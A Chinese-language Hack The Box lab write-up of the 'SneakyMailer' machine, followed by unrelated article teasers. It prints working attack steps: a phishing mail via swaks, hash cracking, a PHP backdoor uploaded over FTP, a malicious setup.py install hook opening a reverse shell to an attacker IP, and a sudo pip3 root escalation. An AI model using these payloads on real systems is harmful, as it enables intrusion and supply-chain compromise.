【Hack The Box】linux练习-- SneakyMailer

news2024/11/28 22:33:59

HTB 学习笔记

【Hack The Box】linux练习-- SneakyMailer


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月23日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
    • 21
    • 爆破域名
    • 25
    • 80
    • imap
    • ftp
    • 深入
    • pypi
    • 创建恶意python包
    • 上传
    • pip提权

在这里插入图片描述

信息收集

21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 
25/tcp   open  smtp     Postfix smtpd
80/tcp   open  http     nginx 1.14.2
http://sneakycorp.htb
143/tcp  open  imap     Courier Imapd (released 2018)
993/tcp  open  ssl/imap Courier Imapd (released 2018)
8080/tcp open  http     nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests

http://sneakycorp.htb

21

没戏

爆破域名

wfuzz -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H "Host: FUZZ.sneakycorp.htb" --hh 185

sneakycorp.htb
dev.sneakycorp.htb
这两个添加到hosts

25

Postfix smtpd

80

Sneaky Corp
在这里插入图片描述在这里插入图片描述也要看另外获取的域名
另一个域名是同站
在这里插入图片描述
有很多邮箱,我将采用工具爬去所有的邮箱
而只所以先爬邮箱是因为
以下的两种方式都可以

curl -s http://sneakycorp.htb/team.php | grep '@' | cut -d'>' -f2 | cut -d'<' -f1 > emails
后者
cewl -e --email_file emails.txt http://sneakycorp.htb/team.php 

在这里插入图片描述
我们在 swaks 的参数中使用 cat 命令。 cat 命令将读取电子邮件,tr 将在电子邮件末尾添加逗号,我们将能够向从团队页面提取的所有电子邮件发送邮件。 但如果它不包含任何链接,则不是钓鱼邮件。 我们将输入我们自己的 IP 地址,以便接收在阅读该电子邮件时可能产生的任何请求。 我们也可以在本地机器上启动 netcat 以捕获是否生成任何请求。

swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "http://10.10.14.29/" --server 10.129.2.28     

在这里插入图片描述
显示

firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt

获取的资料如下
paulbyrd@sneakymailer.htb
IMAP
sneakycorp.htb
paulbyrd
密码是:^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

imap

有了 Paul 的信誉,我可以查看他的电子邮件。 我可以手动与 IMAP 交互 nc在端口 143 上(或者如果我想在端口 993 上使用 TLS 版本,我可以使用 ncat(这是 nc在我的机器上别名为)与

apt install evolution

编辑添加账号
在这里插入图片描述选择邮件账号

在这里插入图片描述添加用户名

在这里插入图片描述

在这里插入图片描述在都设置好之后就会跳出输入密码的窗口
在这里插入图片描述
在这里插入图片描述而后我们会发现邮件

Hello administrator, I want to change this password for the developer account
 
Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
 
Please notify me when you do it

给出了我们一个凭据

ftp

我们用这个凭据登陆ftp
在这里插入图片描述都没有什么东西,看着像网站,并且有index.php,因为这是首页
并且与我们的目录爆破结果一致
那么我们在ftp上上传的文件就可以在王帐上访问到,所以我们可以顺其自然的上传一个后门文件(php)然后去浏览器访问即可
在这里插入图片描述

我将尝试上传

在这里插入图片描述
在这里插入图片描述
但是没了,应该是被清理了,这次我将衔接得快一点
在这里插入图片描述
回来看确实没有了

动作快一点就可以成功

在这里插入图片描述

深入

盒子上有两个用户,low和vmail:
这就是 Paul Byrd 的第二封电子邮件有用的地方。 它告诉 low 下载并运行本地 pypi 中的所有 Python 包。 绝对是一个暗示,我应该把一个放在那里。

pypi

在这里插入图片描述pypi.sneakycorp.htb

在这里插入图片描述有这个文件,passwd很敏感

$ cat .htpasswd

pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/

在这里插入图片描述

hashcat -m 1600 pypi.hash /usr/share/wordlists/rockyou.txt --user --force

$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/:soufianeelhaoui

接下来就是想办法登陆到pypi服务器了,既然外部没有开放,那就内部看看,实在不行到时候做个代理做出去

ww-data@sneakymailer:/home/low$ netstat -tnlp4
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      744/nginx: worker p 
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      744/nginx: worker p 
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:25              0.0.0.0:*               LISTEN      -  

发现了奇怪的nginx
ls -la /etc/nginx/sites-enabled

在这里插入图片描述cat pypi.sneakycorp.htb

server {
        listen 0.0.0.0:8080 default_server;
        listen [::]:8080 default_server;
        server_name _;
}
server {
        listen 0.0.0.0:8080;
        listen [::]:8080;
        server_name pypi.sneakycorp.htb;

        location / {
                proxy_pass http://127.0.0.1:5000;
                proxy_set_header Host $host;
                proxy_set_header X-Real-IP $remote_addr;

发现pypi开头的域名8080端口代理了5000端口

我先把pypi开头的域名加入hosts,然后访问8080,然后输入刚才的得到的密码
pypi.sneakycorp.htb
在这里插入图片描述利用的凭据如下

pypi/soufianeelhaoui

创建恶意python包

我会为我的包创建一个文件夹, revshell,并创建以下文件夹结构和文件:

mkdir revshell;cd revshell;touch README.md;mkdir revshell;cd revshell;touch __init__.py;cd ..;touch setup.cfg;touch setup.py;cd ..

再看一下结构,如下即可

tree revshell

在这里插入图片描述

init.py是合法应用程序实际启动的地方,它必须存在才能使包工作。 我只会用 touch创建一个空文件。

我也会创建空 setup.cfg和 README.md文件。 README.md是包的文档。 setup.cfg应包含有关包元数据
README.md,我并不需要他们。但将它们作为空文件包含在内会显得更专业。

setup.py
恶意代码将进入 setup.py. 我实际上已经创建了一个恶意的 setup.py
代码如下,要修改自己的ip和端口

import os
import socket
import subprocess
from setuptools import setup
from setuptools.command.install import install

class Exploit(install):
    def run(self):
        RHOST = '10.10.14.29'
        RPORT = 9999
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect((RHOST, RPORT))
        for i in range(3):
            os.dup2(s.fileno(), i)
        p = subprocess.call(["/bin/sh","-i"])

setup(name='revshell',
      version='0.0.1',
      description='Reverse Shell',
      author='0xdf',
      author_email='0xdf',
      url='http://sneakycopy.htb',
      license='MIT',
      zip_safe=False,
      cmdclass={'install': Exploit})

到此为止我们只需要这一个有价值的文件
其他的都是为了显得专业
python setup.py sdist
在这里插入图片描述在这里插入图片描述打包成了一个dist

上传

cat ~/.pypirc
关注index-servers,下面要用

[distutils]
index-servers =
  sneaky
[sneaky]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui

在这里插入图片描述
安装

python setup.py sdist upload -r sneaky

在这里插入图片描述本地端口接收到shell
在这里插入图片描述

pip提权

在这里插入图片描述
简单

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip3 install $TF

就这样,要等一会,三分中

在这里插入图片描述这还有很多

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/41699.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

函数调用在嵌入式架构设计中的应用

函数调用很好理解&#xff0c;即使刚学没多久的朋友也知道函数调用是怎么实现的&#xff0c;即调用一个已经封装好的函数&#xff0c;实现某个特定的功能。 把一个或者多个功能通过函数的方式封装起来&#xff0c;对外只提供一个简单的函数接口&#xff0c;然后在其他地方调用即…

SpringCloud - Config分布式配置中心

文章目录一.概述1. 分布式系统面临的配置问题2. 什么是配置中心3. 配置中心怎么用4. 配置中心能做什么二.Config服务端配置与测试1. 搭建1.1 在github上创建一个springcloud_config的新仓库1.2 获得新仓库的地址&#xff1a;1.3 本地硬盘目录上新建git仓库并clone1.4 创建文件1…

设置一个不能被继承的类

小屋杂谈&#xff0c;记录日常 方法1&#xff1a; 如果想让这个类不能被继承&#xff0c;可以把这个类的构造函数设置成私有&#xff0c;这样子类去继承他构造就会报错&#xff0c;这样的话这个类就是不能被继承的&#xff0c;如果需要用这个类的对象的话&#xff0c;在基类里…

机器学习中的交叉熵

文章目录一、背景二、概率论基础知识三、熵≈信息熵&#xff08;应用领域不同&#xff09;、相对熵KL散度、交叉熵、softmax、sigmoid、交叉熵损失图像分割如何理解CrossEntropyLoss()参考资料一、背景 学习机器学习过程中&#xff0c;总是会遇到交叉熵这个名词。通过交叉熵损…

SpringBoot整合knife4j

1.1 Swagger 前后端分离开发&#xff1a;前端和后端分开进行开发&#xff0c;2个项目&#xff0c;一个是前端项目&#xff0c;一个是后端项目 目前基本上很多小项目都是前后端分离&#xff0c;除了后台管理系统 前后端分离开发&#xff0c;前端(app、小程序、智能硬件等)怎么…

栈(C语言实现)

文章目录&#xff1a;1.栈的概念2.栈的结构3.接口实现3.1初始化栈3.2判断栈是否为空3.3压栈&#xff08;入栈&#xff09;3.4出栈3.5查看栈顶元素3.6统计栈内元素个数3.7销毁栈1.栈的概念 栈&#xff1a;一种特殊的线性表&#xff0c;其只允许在固定的一端进行插入和删除元素操…

Credly 数字证书

Credly 数字证书 Credly 简介 通过 Credly 颁发的徽章是对学习成果、经验或能力的数字表述。Credly 数字证书包括常见的组织徽章&#xff0c;如&#xff1a;AWS, Adobe, Autodesk, Certiport, Microsoft, CISCO, IBM 等等&#xff0c;以一种简单和安全的方式在线分享和验证&a…

基于改进人工蜂群算法的K均值聚类算法(Matlab代码实现)

&#x1f352;&#x1f352;&#x1f352;欢迎关注&#x1f308;&#x1f308;&#x1f308; &#x1f4dd;个人主页&#xff1a;我爱Matlab &#x1f44d;点赞➕评论➕收藏 养成习惯&#xff08;一键三连&#xff09;&#x1f33b;&#x1f33b;&#x1f33b; &#x1f34c;希…

基于SEIRD和元胞自动机(CA)模型的传染病发展趋势预测

目录前言一、模型假设二、符号说明三、SEIRD模型1. 模型求解四、元胞自动机&#xff08;CA)模型1. 模型求解2. 城市居民减少外出对疫情发展的影响3. 城市间人口流动对疫情发展的影响五 基于防疫政策的修正模型2 “全民戴口罩”“早发现&#xff0c;早隔离”“全民打疫苗”总结前…

Jsonp跨域的坑,关于jsonp你真的了解吗

先来介绍Jsonp跨域 Jsonp全称是Json with Padding&#xff0c;和Json没有关系 Json是一种数据交换格式&#xff0c;而Jsonp是一种依靠开发人员聪明才智创造出的一种费官方跨域数据交换协议。json是描述信息的格式&#xff0c;jsonp是信息传输的协议 在页面上直接发送一个跨域的…

树莓派之树莓派系统安装

树莓派系统安装 概述 树莓派(是为学习计算机编程教育而设计)&#xff0c;只有信用卡大小的微型电脑&#xff0c;其系统基于Linux。随着Windows 10 IoT的发布&#xff0c;我们也将可以用上运行Windows的树莓派。2014年刚知道有树莓派的时候好奇买了一块&#xff0c;型号&#x…

DSP-IIR滤波器设计

目录 滤波器的性能指标&#xff1a; 常用的模拟滤波器&#xff1a; 巴特沃斯滤波器&#xff1a; 巴特沃斯滤波器设计——一般已知Ωp及其衰减指标,Ωs及其衰减指标求得A&#xff0c;ε&#xff0c;N&#xff0c;Ωc&#xff1a; 巴特沃斯滤波器设计例题&#xff1a; 切比…

Python系列-Django

文章目录Python系列-Django用django实现社交媒体 social_book基本演示&#xff0c;点击可查看视频整体项目的创建数据库设计&#xff0c;基本用户创建表的设计 models.py创建用户查看数据库插件 database navigator登录、注册的实现用djangovue实现社交媒体 social_bookPython系…

【Java集合】Collection接口常用方法

文章目录Collection接口和常用方法> Collection接口常用方法> Collection接口遍历元素&#xff1a;使用Iterator&#xff08;迭代器&#xff09;> Collection接口遍历元素&#xff1a;增强 for 循环Collection接口和常用方法 Collection接口实现类的特点&#xff1a;…

CPU中的核与进程,线程间的关系讲解(操作系统基础概念)

CPU中的核与进程&#xff0c;线程间的关系讲解&#xff08;操作系统基础概念&#xff09; CPU中的内核 概念 CPU内核&#xff08;Die&#xff09;是CPU中间的核心芯片&#xff0c;由单晶硅制成&#xff0c;用来完成所有的计算、接受/存储命令、处理数据等&#xff0c;是数字…

Node.js | 详解 JWT 登录验证 的工作原理

&#x1f9d1;‍&#x1f4bc; 个人简介&#xff1a;一个不甘平庸的平凡人&#x1f36c; &#x1f5a5;️ 本系列专栏&#xff1a;Node.js从入门到精通 &#x1f5a5;️ TS知识总结&#xff1a;十万字超详细TS知识点总结 &#x1f449; 你的一键三连是我更新的最大动力❤️&…

【Java系列】一篇文章快速了解Java语言概述

Java语言概述1.Java简介2.JVM2.1JVM介绍2.2JVM特性3.Java特性4.搭建Java程序开发环境5.编写第一个Java应用程序6.小结第一个程序1.Java简介 java是面向对象的一门程序设计语言随着Java技术在web方面的不断成熟&#xff0c;已经成为Web应用程序的首选开发语言。后台开发&#x…

FRP进阶篇之安全认证

目录 一、前言 二、通信加密 1、概述 2、使用 三、BasicAuth 鉴权 1、概述 2、使用 2.1、客户端配置 2.2、启动客户端 2.3、效果验证 四、TLS双向身份验证 1、概述 2、使用 2.1、生成证书 2.2、服务端配置 2.3、客户端配置 一、前言 通过上次的《FRP入门篇》相信…

毕业设计-机器学习图像卡通动漫化图像风格迁移

前言 &#x1f4c5;大四是整个大学期间最忙碌的时光,一边要忙着备考或实习为毕业后面临的就业升学做准备,一边要为毕业设计耗费大量精力。近几年各个学校要求的毕设项目越来越难,有不少课题是研究生级别难度的,对本科同学来说是充满挑战。为帮助大家顺利通过和节省时间与精力投…

关于旅游景点主题的HTML网页设计——北京景点 7页(带订单购物车)Html+Css+javascript

⛵ 源码获取 文末联系 ✈ Web前端开发技术 描述 网页设计题材&#xff0c;DIVCSS 布局制作,HTMLCSS网页设计期末课程大作业 | 游景点介绍 | 旅游风景区 | 家乡介绍 | 等网站的设计与制作 | HTML期末大学生网页设计作业&#xff0c;Web大学生网页 HTML&#xff1a;结构 CSS&…